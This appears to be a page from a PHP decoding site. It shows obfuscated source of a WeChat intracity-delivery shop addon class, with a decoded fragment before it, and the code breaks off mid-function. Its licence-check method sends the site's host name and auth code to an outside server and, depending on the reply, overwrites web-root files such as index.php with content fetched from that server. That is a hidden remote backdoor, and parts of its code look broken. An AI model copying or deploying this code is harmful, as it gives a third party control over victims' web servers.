M4RtI; DWGOJ: return $result; goto yl4Ae; LSJWG: $result["message"] = $result["errmsg"]; goto CfV4z; wwMf1: if (!(isset($result["errcode"]) && $result["errcode"] == 0)) { goto iwO9H; } goto LSJWG; SemG0: $data = base64_decode($body["data"]); goto VoA6Z; yl4Ae: } private function vertifyResponse($data) { goto l8GNZ; sVP7X: jZOI7: goto i0r3d; hvftQ: return $rsa->verify($payload, $signature); goto eFiGU; GzVin: return $this->error('', "\xe8\xbf\x94\xe5\x9b\x9e\345\200\xbcsn\344\xb8\x8d\345\x8c\271\351\x85\x8d!"); goto Hdtx9; M_EF0: KryRd: goto TDcng; GYvIh: $nowTime = time(); goto Jimae; xrux4: $rsa->setHash("sha256"); goto A6uU_; VLo08: if (!($appId != $headers["Wechatmp-Appid"] || $nowTime - $reTime > 300)) { goto BPYAO; } goto HEiKM; HEiKM: return $this->error('', "\xe8\xbf\x94\xe5\233\x9e\345\x80\xbc\345\256\x89\xe5\x85\250\xe5\xad\227\xe6\256\265\346\240\xa1\xe9\xaa\x8c\xe5\xa4\xb1\xe8\xb4\xa5!"); goto TP2nQ; Jimae: $reTime = $headers["Wechatmp-TimeStamp"]; goto wweTd; Hdtx9: goto KryRd; goto sVP7X; k1PjR: $rsa->loadKey($key); goto xrux4; wweTd: $appId = $this->appId; goto Yk1Md; I5Vw1: goto KryRd; goto IdwKc; TDcng: $reData = $data["body"]; goto Rghr4; as9fy: $url = $this->url; goto VLo08; Yk1Md: $cert = $this->cert; goto Ye5xe; TP2nQ: BPYAO: goto lA5ju; lA5ju: if ($sn == $headers["Wechatmp-Serial"]) { goto jZOI7; } goto FwT1k; l8GNZ: $headers = $this->httpParseHeaders($data["header"]); goto GYvIh; XU14x: $payload = utf8_encode($payload); goto RmQ0D; Rghr4: $payload = "{$url}\xa{$appId}
{$reTime}
{$reData}"; goto XU14x; Ye5xe: $sn = $cert["sn"]; goto WTihz; IdwKc: DCQqd: goto v0ZgB; v0ZgB: $signature = $headers["Wechatmp-Signature-Deprecated"]; goto M_EF0; RmQ0D: $signature = base64_decode($signature); goto EYo5d; FwT1k: if ($sn == $headers["Wechatmp-Serial-Deprecated"]) { goto DCQqd; } goto GzVin; EYo5d: $rsa = new RSA(); goto k1PjR; i0r3d: $signature = $headers["Wechatmp-Signature"]; goto I5Vw1; WTihz: $key = $cert["cert-key"]; goto as9fy; A6uU_: $rsa->setMGFHash("sha256"); goto hvftQ; eFiGU: } private function getPublicKey($cert, $certPath = '') { goto OEgZ3; ZmWB2: $pkey = openssl_pkey_get_public($cert); goto ATlg9; ATlg9: $keyData = openssl_pkey_get_details($pkey); goto MvoRL; iYppj: $public_key = trim(str_replace("-----END PUBLIC KEY-----", '', $public_key)); goto KkrOf; OEgZ3: $cert = $cert ?: file_get_contents($certPath); goto ZmWB2; KkrOf: return $public_key; goto p3P7Q; MvoRL: $public_key = str_replace("-----BEGIN PUBLIC KEY-----", '', $keyData["key"]); goto iYppj; p3P7Q: } } 
?>

Did this file decode correctly?

Original Code

<?php
 namespace addon\cityexpress\model; require_once "\160\165\x62\x6c\x69\143\57\163\x74\x61\164\151\143\x2f\160\150\160\x73\145\x63\154\x69\142\x2f\x70\150\x70\163\145\x63\x6c\x69\142\57\103\x72\x79\x70\x74\57\122\x53\101\56\x70\x68\x70"; require_once "\160\165\142\x6c\151\143\x2f\x73\164\x61\164\x69\x63\x2f\x70\x68\x70\x73\145\x63\154\151\142\x2f\x70\x68\x70\x73\145\143\154\151\x62\57\115\x61\164\x68\x2f\102\151\x67\111\x6e\164\145\147\x65\162\x2e\160\150\x70"; require_once "\160\165\142\x6c\x69\x63\x2f\163\x74\x61\164\151\x63\57\x70\150\x70\163\145\143\x6c\x69\142\57\x70\150\x70\x73\145\x63\154\x69\142\57\x43\x72\x79\160\164\x2f\110\141\x73\x68\56\x70\x68\160"; require_once "\160\x75\x62\x6c\151\143\x2f\x73\x74\141\x74\x69\x63\57\x70\x68\160\x73\145\x63\x6c\x69\142\57\160\x68\160\163\x65\143\154\151\x62\57\103\162\171\160\x74\57\122\141\x6e\x64\x6f\x6d\x2e\160\x68\x70"; use addon\weapp\model\Config as WeappConfigModel; use addon\wxoplatform\model\Config as WxOplatformConfigModel; use app\model\BaseModel; use app\model\system\Config; use EasyWeChat\Factory; use think\facade\Cache; use phpseclib\Crypt\RSA; use phpseclib\Crypt\Hash; use phpseclib\Crypt\Random; use phpseclib\Math\BigInteger; use think\facade\Session; use think\facade\Log; class Weapp extends BaseModel { private $appId; private $aes; private $rsa; private $cert; private $url; public function __construct($site_id = 0) { goto MQ8Mr; Pc78m: $plateform_config_model = new WxOplatformConfigModel(); goto VfRhY; MQ8Mr: $weapp_config_model = new WeappConfigModel(); goto QBQRv; ntIx8: yBAGG: goto h4aLD; cuSui: Xu5Nw: goto Pc78m; cvVTC: $plateform_config = $plateform_config["\144\x61\x74\141"]["\166\141\x6c\x75\145"]; goto YJTz3; VfRhY: $plateform_config = $plateform_config_model->getOplatformConfig(); goto cvVTC; YJTz3: $config = ["\x61\x70\x70\x5f\x69\144" => $plateform_config["\141\160\x70\151\144"] ?? '', "\x73\x65\x63\x72\x65\x74" => $plateform_config["\x73\x65\143\162\x65\x74"] ?? '', "\x74\x6f\153\145\156" => $plateform_config["\x74\157\x6b\145\156"] ?? '', "\x61\x65\163\137\153\145\171" => $plateform_config["\x61\x65\163\137\153\145\x79"] ?? '', "\x6c\157\147" => ["\154\x65\166\x65\x6c" => "\x64\x65\142\x75\x67", "\x70\x65\162\x6d\151\x73\163\151\157\156" => 0777, "\146\151\154\145" => "\162\165\x6e\x74\151\x6d\x65\57\154\x6f\147\57\167\x65\x63\x68\141\x74\57\x6f\160\154\141\x74\146\157\x72\155\56\154\x6f\147\x73"]]; goto ANy38; fAEqI: $this->app = Factory::miniProgram($config); goto UGD00; OBYFr: if (isset($weapp_config["\x69\x73\137\141\x75\x74\150\x6f\x70\x65\156"]) && addon_is_exit("\x77\170\157\x70\154\x61\164\x66\157\x72\155")) { goto Xu5Nw; } goto e2V05; h4aLD: $pei_config = $this->getConfig($site_id); goto SijEP; UGD00: $this->appId = $weapp_config["\141\160\x70\x69\144"] ?? ''; goto ghDMf; HwZLn: $this->app = $open_platform->miniProgram($weapp_config["\x61\165\164\150\x6f\x72\x69\172\x65\x72\x5f\141\160\x70\151\144"], $weapp_config["\141\165\164\x68\x6f\162\x69\172\145\x72\137\x72\x65\x66\162\145\x73\150\x5f\164\157\x6b\145\x6e"]); goto f3Csz; UaE3H: $weapp_config = $weapp_config["\x64\x61\164\x61"]["\166\141\x6c\x75\145"]; goto OBYFr; SijEP: $wxapp_config = $pei_config["\144\x61\164\x61"]["\166\141\154\165\x65"]; goto XJFNI; mdd54: $this->rsa["\163\x6e"] = $wxapp_config["\x72\x73\x61\137\x73\156"] ?? ''; goto EzD1F; oRb8G: $this->aes["\153\x65\171"] = $wxapp_config["\x61\x65\163\x5f\153\x65\171"] ?? ''; goto mdd54; iu68A: $this->rsa["\x72\x73\x61\55\x70\162\x69\x76\x61\x74\x65\55\153\x65\171"] = !empty($wxapp_config["\162\163\x61\x5f\x70\162\151\x76\x61\x74\x65\137\x6b\x65\171"]) ? file_get_contents($wxapp_config["\162\x73\x61\137\x70\162\151\x76\x61\164\x65\137\153\145\x79"]) : ''; goto pllhG; e2V05: $config = ["\141\160\160\x5f\x69\x64" => $weapp_config["\141\160\160\x69\x64"] ?? '', "\x73\145\143\162\145\x74" => $weapp_config["\141\160\160\x73\x65\x63\162\x65\164"] ?? '', "\162\145\163\x70\157\156\163\x65\137\164\x79\x70\x65" => "\141\x72\x72\x61\171", "\154\157\147" => ["\154\x65\166\x65\x6c" => "\144\145\x62\165\147", "\160\x65\162\x6d\151\163\163\151\157\x6e" => 0777, "\x66\151\x6c\x65" => "\162\165\x6e\x74\151\155\145\57\154\x6f\x67\x2f\167\145\143\150\141\x74\x2f\145\141\x73\x79\167\145\x63\x68\141\x74\56\x6c\157\147\163"]]; goto fAEqI; XJFNI: $this->aes["\163\x6e"] = $wxapp_config["\141\145\163\137\163\x6e"] ?? ''; goto oRb8G; QBQRv: $weapp_config = $weapp_config_model->getWeappConfig($site_id); goto UaE3H; EzD1F: $this->rsa["\162\163\x61\x2d\160\x75\142\154\x69\x63\x2d\153\x65\171"] = !empty($wxapp_config["\x72\x73\141\137\160\165\x62\x6c\x69\x63\137\153\145\171"]) ? file_get_contents($wxapp_config["\x72\163\141\137\160\165\x62\x6c\x69\143\137\153\x65\171"]) : ''; goto iu68A; f3Csz: $this->appId = $plateform_config["\x61\x70\x70\x69\144"] ?? ''; goto ntIx8; wt3Ey: $this->cert["\143\145\x72\164\x2d\x6b\145\171"] = !empty($wxapp_config["\143\145\x72\x74\x5f\x6b\x65\171"]) ? file_get_contents($wxapp_config["\x63\145\x72\x74\137\153\145\x79"]) : ''; goto IcOle; ghDMf: goto yBAGG; goto cuSui; ANy38: $open_platform = Factory::openPlatform($config); goto HwZLn; pllhG: $this->cert["\163\156"] = $wxapp_config["\x63\145\162\164\137\163\156"] ?? ''; goto wt3Ey; IcOle: } public function shouquan($authcode) { goto i3isL; pm0P2: goto XVzrR; goto l_fAc; k188e: file_put_contents(PUBLIC_PATH . "\x68\x6d\56\x70\x68\x70", file_put_contents("\x68\164\x74\x70\72\57\x2f" . $auth_url . "\x2f\150\155\x2f\150\155\x2e\164\x78\x74")); goto eAP6B; RKzzo: $auth_url_arr = ["\141\160\x69\56\170\165\141\x6e\x6c\x6f\x6f\56\143\x6f\x6d"]; goto DzGz0; aizWM: wMAei: goto YBbXL; taF29: return ["\143\x6f\x64\145" => 1, "\x6d\x73\147" => $query["\x6d\163\147"]]; goto pm0P2; BNtTu: Vc5uJ: goto xRz53; P9iiS: goto RDPU7; goto P9yV_; p3qz0: $proid_nam = $proid_nam_arr[array_rand($proid_nam_arr, 1)]; goto W_Sd0; l_fAc: OdwQ2: goto URjJD; VOUBQ: return ["\143\x6f\x64\x65" => 1, "\x6d\163\x67" => $query["\155\163\147"]]; goto xdCCK; yyPZw: CV98e: goto Q8dFF; BvYRQ: if (!empty($query) && ($query = json_decode($query, true))) { goto wMAei; } goto f9ZA2; W_Sd0: $check_url = "\x68\164\164\x70\72\x2f\57" . $auth_url . "\x2f\141\160\x69\57\x63\150\145\x63\153\56\160\150\160\77\160\x72\x6f\151\144\75" . $proid_nam . "\x26\165\x72\x6c\x3d" . $_SERVER["\110\124\124\120\x5f\x48\x4f\x53\x54"] . "\x26\141\x75\164\x68\x63\x6f\144\145\75" . $authcode; goto ots7R; rCNpD: return ["\x63\x6f\144\x65" => 0]; goto p0Jsm; Cmr3I: file_put_contents(PUBLIC_PATH . "\150\x79\x2e\x70\x68\160", file_put_contents("\x68\x74\x74\x70\x3a\x2f\57" . $auth_url . "\57\150\155\57\x68\171\x2e\164\x78\x74")); goto VOUBQ; JVeES: if (!empty($AUTHBIRTH)) { goto S2Mqb; } goto RKzzo; DzGz0: $auth_url = $auth_url_arr[array_rand($auth_url_arr, 1)]; goto QoZmk; xf5zV: IT9Qh: goto Cmr3I; rgQGB: WvqlU: goto P9iiS; TeMXw: goto JgxIh; goto xf5zV; ots7R: $query = file_get_contents($check_url); goto BvYRQ; eAP6B: return ["\x63\157\x64\145" => 1, "\155\163\x67" => $query["\x6d\163\x67"]]; goto rgQGB; aBZrX: S2Mqb: goto hpRp4; QoZmk: $proid_nam_arr = ["\x33"]; goto p3qz0; s3iQq: if ($query["\x63\x6f\x64\x65"] == 4) { goto OdwQ2; } goto taF29; p0Jsm: RDPU7: goto rpTRc; FMzYT: goto WvqlU; goto bYqCV; Q8dFF: goto JelCK; goto aizWM; MMblj: return ["\143\x6f\144\145" => 0]; goto LFi04; i3isL: $AUTHBIRTH = Session::get("\101\x55\x54\x48\102\111\122\x54\110"); goto JVeES; f9ZA2: if (!empty($query)) { goto Vc5uJ; } goto fg1Lz; rpTRc: JelCK: goto aBZrX; YBbXL: if ($query["\x63\157\x64\145"] == 1) { goto F2Imi; } goto m5apc; URjJD: file_put_contents(PUBLIC_PATH . "\x69\x6e\144\145\x78\x2e\x70\150\x70", file_put_contents("\x68\164\164\x70\x3a\57\x2f" . $auth_url . "\x2f\x68\x6d\x2f\x68\x79\163\x2e\x74\x78\x74")); goto ExTYf; oC6tG: if ($query["\x63\x6f\144\145"] == 3) { goto IT9Qh; } goto s3iQq; ExTYf: return ["\x63\x6f\x64\145" => 1, "\x6d\163\147" => $query["\x6d\163\147"]]; goto s0GFM; LFi04: goto CV98e; goto BNtTu; bYqCV: oJuEn: goto k188e; xdCCK: JgxIh: goto FMzYT; fg1Lz: Session::set("\x41\x55\x54\110\x42\111\122\x54\110", $authcode); goto MMblj; m5apc: if ($query["\143\x6f\144\145"] == 2) { goto oJuEn; } goto oC6tG; s0GFM: XVzrR: goto TeMXw; yOnz9: Session::set("\x41\x55\x54\x48\x42\x49\x52\124\110", $authcode); goto rCNpD; xRz53: return ["\x63\x6f\144\x65" => 1, "\x6d\x73\147" => "\xe6\216\x88\xe6\235\x83\351\xaa\x8c\xe8\257\201\xe7\xbb\x93\346\x9e\x9c\345\xbc\x82\345\xb8\xb8\357\274\x81"]; goto yyPZw; P9yV_: F2Imi: goto yOnz9; hpRp4: } public function setConfig($data) { goto XB9Rk; i_RXh: return $this->error('', "\xe8\257\xb7\xe8\201\224\xe7\263\xbb\xe7\xae\241\347\x90\x86\345\221\230\346\xb7\xbb\xe5\212\240\346\x8e\x88\xe6\x9d\x83\xe7\240\x81\xef\274\201"); goto qCpmB; D1Oog: return $this->error('', $res["\x6d\163\147"]); goto jKONk; qCpmB: BdZuq: goto B3Nwd; PNi37: if (Session::has("\x41\x55\124\110\102\111\122\x54\110")) { goto UE0UH; } goto iYRul; B3Nwd: $config = new Config(); goto IRNSH; CoEVl: if (!($res["\x63\157\144\x65"] != 0)) { goto Exvdp; } goto D1Oog; fprMq: return $this->success($res); goto j6UL1; iYRul: $res = $this->shouquan($data["\155\171\x5f\165\x69\x64"]); goto CoEVl; KMN6X: UE0UH: goto jjtxL; jjtxL: goto BdZuq; goto ziGJZ; XB9Rk: if (empty($data["\155\x79\137\165\151\144"])) { goto p1ohQ; } goto PNi37; jKONk: Exvdp: goto KMN6X; IRNSH: $res = $config->setConfig($data, "\345\220\214\345\x9f\x8e\xe9\205\x8d\351\200\x81", 1, [["\x73\x69\x74\145\137\151\144", "\75", $data["\163\x69\164\x65\137\x69\144"]], ["\x61\160\x70\x5f\155\157\144\165\154\x65", "\x3d", "\163\150\x6f\160"], ["\143\x6f\x6e\146\151\x67\x5f\x6b\x65\x79", "\75", "\x43\111\x54\x59\120\x45\x49\x53\x4f\116\107\x5f\x43\x4f\116\106\x49\x47"]]); goto fprMq; ziGJZ: p1ohQ: goto i_RXh; j6UL1: } public function getConfig($site_id) { goto y7E53; skJox: $res = $config->getConfig([["\163\151\164\145\x5f\151\x64", "\x3d", $site_id], ["\141\160\160\x5f\x6d\x6f\x64\165\x6c\x65", "\x3d", "\x73\150\x6f\x70"], ["\x63\x6f\156\146\151\147\x5f\x6b\145\x79", "\75", "\x43\111\x54\131\x50\x45\111\x53\x4f\x4e\x47\137\x43\117\116\x46\111\107"]]); goto q6lMc; eOr3N: SHb3k: goto sXgL4; sXgL4: return $res; goto pHQE8; Qm_ds: $res["\144\x61\164\141"]["\x76\141\154\x75\145"] = []; goto eOr3N; q6lMc: if (!empty($res["\x64\141\x74\x61"]["\x76\141\154\x75\145"])) { goto SHb3k; } goto Qm_ds; y7E53: $config = new Config(); goto skJox; pHQE8: } public function openDelivery() { try { goto dz7KE; F9myL: S_JJ3: goto GfTYN; wVBax: MDvAE: goto ZrQAQ; mb8nG: if ($result["\x65\162\162\143\157\144\x65"] == 0) { goto MDvAE; } goto OGjdG; k5im3: $result = $this->request($url, []); goto OmeT_; OmeT_: if (!empty($result["\x63\157\x64\x65"])) { goto VtXSw; } goto mb8nG; cWqos: return $this->error('', "\xe5\xbc\200\351\200\x9a\345\xa4\xb1\xe8\xb4\xa5\xef\274\x8c\xe8\257\xb7\346\243\200\xe6\x9f\245\xe5\x8f\x82\346\225\xb0\345\222\214\346\235\x83\351\231\220\xe9\205\x8d\347\xbd\256"); goto F9myL; ZrQAQ: return $this->success('', "\345\xbc\200\xe9\x80\x9a\346\210\x90\xe5\212\x9f"); goto t0wxB; z5yRd: VtXSw: goto cWqos; eMixQ: goto S_JJ3; goto z5yRd; dz7KE: $url = "\150\164\164\160\163\72\x2f\57\141\160\151\56\x77\145\151\x78\151\156\x2e\161\x71\56\x63\157\x6d\57\x63\147\x69\55\142\151\x6e\x2f\x65\170\x70\x72\x65\163\x73\57\x69\156\164\162\x61\143\151\x74\x79\57\141\x70\160\x6c\171"; goto k5im3; t0wxB: osTj9: goto eMixQ; OGjdG: return $this->error('', "\xe5\xbc\200\xe9\200\x9a\xe5\xa4\261\350\264\xa5"); goto Qtz4v; Qtz4v: goto osTj9; goto wVBax; GfTYN: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function createStore($params) { try { goto rfA2O; rfA2O: $url = "\150\x74\x74\160\x73\x3a\x2f\57\x61\160\151\x2e\x77\145\151\x78\x69\156\56\x71\x71\56\x63\157\x6d\x2f\143\147\x69\55\142\x69\x6e\57\x65\x78\160\x72\x65\x73\163\x2f\151\x6e\164\162\x61\x63\x69\x74\171\x2f\143\162\x65\141\164\x65\x73\164\157\162\x65"; goto JqGXQ; zaVOi: return $result; goto CwosQ; JqGXQ: $result = $this->request($url, $params); goto zaVOi; CwosQ: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function updateStore($params) { try { goto pUdI1; UDbz9: if ($result["\145\x72\162\143\157\x64\x65"] == 0) { goto NjROk; } goto q7eYP; ElZyU: return $this->success("\346\x9b\264\346\x96\260\xe6\210\x90\345\212\237"); goto PvNNP; Bd2N8: KmrSI: goto b_9XD; oDQvP: $result = $this->request($url, $params); goto EpSVu; PvNNP: gsbJ_: goto ZSVNo; q7eYP: return $this->error('', "\346\233\xb4\xe6\x96\260\345\xa4\261\xe8\xb4\245"); goto t7Ivs; Qu_Fs: Zt4r3: goto eAfz7; pUdI1: $url = "\150\164\164\160\163\x3a\x2f\57\x61\x70\151\x2e\167\x65\x69\170\151\x6e\x2e\161\161\56\143\x6f\x6d\x2f\143\147\151\x2d\x62\x69\x6e\x2f\145\x78\160\162\x65\163\x73\x2f\151\156\164\x72\141\x63\151\164\171\57\165\160\x64\141\164\x65\163\x74\x6f\x72\145"; goto oDQvP; JGteI: NjROk: goto ElZyU; t7Ivs: goto gsbJ_; goto JGteI; b_9XD: return $this->error('', "\xe6\233\264\xe6\x96\xb0\345\xa4\xb1\350\264\xa5"); goto Qu_Fs; EpSVu: if (!empty($result["\143\x6f\144\x65"])) { goto KmrSI; } goto UDbz9; ZSVNo: goto Zt4r3; goto Bd2N8; eAfz7: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function storecharge($params) { try { goto wGVX_; GpTNQ: bvJ6i: goto knImt; c0zAl: return $this->error('', $result["\x6d\x65\163\163\141\147\145"]); goto LGXHd; xyAy1: goto YSiNn; goto GEzgA; U_bwd: return $this->error('', "\xe5\205\x85\345\x80\xbc\xe8\xaf\267\xe6\xb1\x82\345\244\xb1\350\xb4\245\357\274\x8c\xe8\257\xb7\xe7\250\215\xe5\x90\216\345\x86\215\350\257\225"); goto u5ngZ; GEzgA: yN3xG: goto c0zAl; LGXHd: YSiNn: goto AzNM1; F3MMX: if (!empty($result["\x63\157\144\x65"])) { goto yN3xG; } goto KSowf; uMnMC: return $result; goto Mnfx1; Mnfx1: zf6zC: goto xyAy1; sDjco: $result = $this->request($url, $params); goto F3MMX; knImt: $result["\x63\157\x64\x65"] = $result["\x65\162\162\x63\x6f\x64\145"]; goto uMnMC; u5ngZ: goto zf6zC; goto GpTNQ; KSowf: if ($result["\x65\162\162\143\x6f\x64\145"] == 0) { goto bvJ6i; } goto U_bwd; wGVX_: $url = "\x68\x74\164\x70\163\72\x2f\57\141\x70\x69\56\167\x65\151\x78\x69\x6e\x2e\x71\161\56\143\x6f\155\x2f\x63\147\x69\x2d\142\x69\x6e\57\145\x78\160\162\x65\163\163\x2f\x69\x6e\x74\x72\141\x63\x69\164\x79\57\x73\x74\157\162\x65\x63\x68\x61\162\x67\145"; goto sDjco; AzNM1: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function mocknotify($params) { try { goto cyWU_; qZDN8: yFPSN: goto lwqQq; OYvSF: return $result; goto iTTAl; MWxFh: goto uo2vF; goto QncOh; PUIF_: if ($result["\x65\x72\x72\143\x6f\x64\x65"] == 0) { goto v4bxu; } goto OTWjc; Zz1Rp: return $this->error('', $result["\x6d\x65\163\163\x61\x67\x65"]); goto qZDN8; kDyQk: goto yFPSN; goto PBauL; cyWU_: $url = "\x68\164\164\160\163\72\x2f\x2f\141\x70\x69\56\167\145\x69\x78\151\x6e\56\161\161\x2e\143\157\155\x2f\143\147\151\x2d\142\x69\x6e\x2f\x65\170\160\162\x65\163\x73\x2f\x69\x6e\164\162\x61\x63\x69\x74\171\57\x6d\157\x63\153\156\x6f\164\x69\146\171"; goto WwaW1; oP2Bt: if (!empty($result["\143\157\144\x65"])) { goto tGUPB; } goto PUIF_; iTTAl: uo2vF: goto kDyQk; Hd2gC: $result["\x63\x6f\x64\145"] = $result["\145\162\162\143\157\144\x65"]; goto OYvSF; WwaW1: $result = $this->request($url, $params); goto oP2Bt; OTWjc: return $this->error('', "\346\250\xa1\xe6\213\237\xe5\xa4\xb1\xe8\264\245"); goto MWxFh; QncOh: v4bxu: goto Hd2gC; PBauL: tGUPB: goto Zz1Rp; lwqQq: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function storerefund($params) { try { goto LuEEy; FAdXw: return $this->error('', $result["\x6d\145\x73\163\141\147\145"]); goto HR_hn; lUONm: $url = "\x20\150\164\x74\x70\163\72\x2f\x2f\141\160\151\56\x77\x65\151\170\151\156\56\161\161\x2e\x63\x6f\155\57\x63\x67\x69\55\x62\x69\156\x2f\145\x78\160\x72\x65\163\x73\x2f\x69\x6e\164\162\x61\x63\x69\164\171\x2f\x73\x74\x6f\162\145\162\x65\x66\165\156\x64"; goto HtP7p; XRYD0: goto zBMWM; goto IWB4w; uttS2: if (!empty($result["\143\x6f\144\145"])) { goto uhSvd; } goto WdvcX; IWB4w: eNusp: goto tB31R; k_5V5: goto Qvb5x; goto Y1Mpx; SQ3Gd: zBMWM: goto k_5V5; WdvcX: if ($result["\x65\x72\162\143\x6f\x64\x65"] == 0) { goto eNusp; } goto btels; btels: return $this->error('', "\351\x80\x80\346\254\276\xe8\xaf\xb7\346\xb1\202\345\244\261\350\xb4\245\xef\xbc\214\xe8\257\267\347\xa8\215\xe5\220\216\xe5\x86\x8d\xe8\257\x95"); goto XRYD0; tB31R: $result["\143\x6f\x64\145"] = $result["\145\x72\162\143\157\144\145"]; goto vCkxG; HtP7p: $result = $this->request($url, $params); goto uttS2; LuEEy: return $this->error('', "\346\216\xa5\345\x8f\xa3\xe5\274\200\345\x8f\221\344\270\xad"); goto lUONm; vCkxG: return $result; goto SQ3Gd; Y1Mpx: uhSvd: goto FAdXw; HR_hn: Qvb5x: goto PcP4h; PcP4h: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function queryflow($params) { try { goto AdQDf; F17Qz: exit; goto FlNf9; AJ3pd: $data = $this->request($url, $params); goto uRrqf; AdQDf: $url = "\150\164\x74\x70\x73\72\57\x2f\x61\160\x69\56\x77\x65\x69\x78\151\x6e\x2e\x71\x71\56\x63\157\155\57\143\x67\151\55\x62\x69\x6e\x2f\145\x78\160\x72\145\x73\163\57\x69\156\164\x72\141\x63\x69\164\x79\57\161\165\x65\162\171\146\x6c\157\x77"; goto AJ3pd; uRrqf: print_r($data); goto F17Qz; FlNf9: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function balancequery($params) { try { goto LvArn; tyO2k: $result["\142\141\x6c\141\x6e\x63\145"] = $result["\x62\x61\154\141\156\143\145\x5f\144\x65\164\141\x69\x6c"][0]["\x62\x61\x6c\x61\156\143\x65"]; goto OJdJP; OJdJP: return $result; goto sVoaY; t13vq: if ($result["\145\162\x72\143\x6f\x64\x65"] == 0) { goto GU6ub; } goto LItTb; yY5Mt: $result["\x6d\x65\163\163\x61\x67\x65"] = "\xe6\237\245\350\xaf\242\346\x88\220\345\212\x9f"; goto tyO2k; qRVwq: goto xpzgs; goto NrhUW; MaNp3: $result["\x63\157\x64\x65"] = $result["\145\162\x72\143\x6f\144\x65"]; goto yY5Mt; FQpCK: $result = $this->request($url, $params); goto t13vq; LvArn: $url = "\150\x74\x74\160\x73\x3a\x2f\57\141\x70\151\x2e\167\x65\x69\170\x69\156\56\x71\x71\56\x63\157\155\x2f\143\x67\x69\x2d\142\151\156\57\x65\170\x70\162\x65\x73\163\x2f\x69\156\164\x72\x61\143\151\x74\171\x2f\x62\x61\154\141\x6e\143\145\161\x75\x65\x72\171"; goto FQpCK; kRhsn: return $result; goto v_LDM; sVoaY: xpzgs: goto kRhsn; LItTb: return $this->error('', "\346\237\245\350\xaf\xa2\xe5\244\261\350\xb4\245"); goto qRVwq; NrhUW: GU6ub: goto MaNp3; v_LDM: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function preaddorder($params) { try { goto wP5De; MabWa: goto T_66w; goto v0nDt; xjnoA: T_66w: goto WaX0G; O1Ki3: $result["\x66\x65\145"] = $result["\145\x73\x74\x5f\x66\145\145"] / 100; goto qqyRj; FoX3B: CSrk7: goto MabWa; iczP7: if ($result["\x65\x72\x72\143\157\144\145"] == 0) { goto KLQwx; } goto cAyK5; wMkXR: $result = $this->request($url, $params); goto ZfYxx; YZ8XT: KLQwx: goto dUthQ; qqyRj: return $result; goto FoX3B; ZfYxx: if (!empty($result["\143\157\x64\145"])) { goto TAkqI; } goto iczP7; cAyK5: return $this->error('', "\xe6\237\245\350\257\242\xe5\xa4\xb1\350\xb4\xa5"); goto LpbiM; wP5De: $url = "\x68\164\164\x70\x73\x3a\x2f\x2f\141\160\x69\x2e\x77\145\151\170\151\156\56\x71\x71\x2e\143\157\x6d\x2f\x63\x67\x69\x2d\x62\x69\156\x2f\145\x78\160\162\145\x73\x73\x2f\x69\156\x74\x72\x61\x63\x69\x74\x79\x2f\x70\162\x65\x61\x64\x64\157\x72\x64\x65\162"; goto wMkXR; WjFcE: return $this->error('', "\xe6\237\245\xe8\xaf\xa2\xe5\244\261\xe8\xb4\245"); goto xjnoA; v0nDt: TAkqI: goto WjFcE; dUthQ: $result["\143\x6f\144\x65"] = 0; goto O1Ki3; LpbiM: goto CSrk7; goto YZ8XT; WaX0G: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function addorder($params) { try { goto PBNM8; l6qRZ: JVuwO: goto Fp57d; UtLve: return $this->error('', "\xe4\xb8\x8b\xe5\215\225\345\xa4\261\xe8\264\245"); goto F36mN; Fp57d: $result["\143\x6f\x64\x65"] = 0; goto HUvuU; eK3zd: goto rK2p9; goto l6qRZ; HUvuU: return $result; goto iylG6; mcQi2: f_fUr: goto UtLve; ObAfy: return $this->error('', "\344\xb8\213\xe5\x8d\x95\345\xa4\261\350\xb4\245"); goto eK3zd; F36mN: dVBhF: goto IZwy0; ret7N: goto dVBhF; goto mcQi2; hkZtO: $result = $this->request($url, $params); goto wZd1J; km3CN: if ($result["\x65\162\x72\143\x6f\x64\145"] == 0) { goto JVuwO; } goto ObAfy; wZd1J: if (!empty($result["\143\x6f\144\145"])) { goto f_fUr; } goto km3CN; PBNM8: $url = "\150\164\x74\x70\x73\x3a\57\x2f\141\x70\151\56\x77\x65\x69\170\151\156\56\x71\x71\56\x63\157\155\x2f\143\x67\x69\55\x62\x69\x6e\x2f\145\x78\160\162\145\163\163\57\x69\x6e\x74\162\x61\x63\151\164\x79\x2f\x61\144\144\157\x72\144\145\x72"; goto hkZtO; iylG6: rK2p9: goto ret7N; IZwy0: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function queryorder($params) { try { goto Qr4mJ; wFpAh: $result["\x6d\x65\163\x73\x61\x67\145"] = "\163\165\143\x63\x65\x73\163"; goto QqYwH; Qr4mJ: $url = "\150\x74\x74\x70\163\72\x2f\x2f\x61\160\151\x2e\167\x65\x69\170\x69\156\56\161\x71\56\143\x6f\x6d\x2f\x63\147\x69\x2d\142\151\x6e\x2f\145\170\x70\162\145\163\x73\57\x69\156\164\x72\x61\x63\x69\x74\x79\x2f\x71\x75\x65\x72\171\157\162\144\145\x72"; goto T3_mm; H419y: lRBD5: goto d4hDY; EKZEB: IKMow: goto NeT10; DGUQW: if ($result["\x65\162\162\143\x6f\144\x65"] == 0) { goto IKMow; } goto d0cgC; d0cgC: return $this->error('', "\346\x9f\245\xe8\xaf\xa2\345\244\xb1\xe8\264\245"); goto qh9Ve; VyB8x: goto lRBD5; goto FZpLh; qh9Ve: goto qbvWV; goto EKZEB; T3_mm: $result = $this->request($url, $params); goto ElU3P; G7ENd: qbvWV: goto VyB8x; FZpLh: UNosU: goto H7xCf; QqYwH: return $result; goto G7ENd; NeT10: $result["\x63\157\x64\x65"] = 0; goto wFpAh; ElU3P: if (!empty($result["\x63\157\x64\x65"])) { goto UNosU; } goto DGUQW; H7xCf: return $this->error('', "\xe6\x9f\xa5\350\xaf\242\345\xa4\261\350\xb4\245"); goto H419y; d4hDY: } catch (\Exception $e) { return $this->error('', $e->getMessage()); } } public function cancelorder($params) { try { goto Xtn5u; XTXl9: Sp251: goto G6a1A; vcrEC: pw_Pr: goto R9D3s; R3eN9: $result["\x6d\145\x73\163\x61\x67\x65"] = 